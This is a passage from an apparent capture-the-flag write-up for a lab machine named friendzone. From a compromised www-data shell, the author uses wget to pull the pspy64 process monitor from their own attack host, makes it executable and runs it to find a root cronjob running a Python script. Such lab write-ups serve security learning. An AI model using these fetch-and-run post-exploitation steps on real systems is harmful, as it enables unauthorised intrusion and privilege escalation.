PSPY64
I found a cronjob process running with privileges of the root
user
I want to know what it’s doing.
www-data@friendzone:/dev/shm$ wgewget http://10.10.14.11:8000/pspy64 ; chmod 777 pspy64
--2023-01-26 09:23:51-- http://10.10.14.11:8000/pspy64
connecting to 10.10.14.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
length: 3078592 (2.9M) [application/octet-stream]
saving to: 'pspy64'
pspy64 100%[===================>] 2.94M 2.74MB/s in 1.1s
2023-01-26 09:23:53 (2.74 MB/s) - 'pspy64' saved [3078592/3078592]
Delivery complete
www-data@friendzone:/dev/shm$ ./pspy64
./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
Executing PSPY
The root cronjob is executing a Python script located at
/opt/server_admin/reporter.py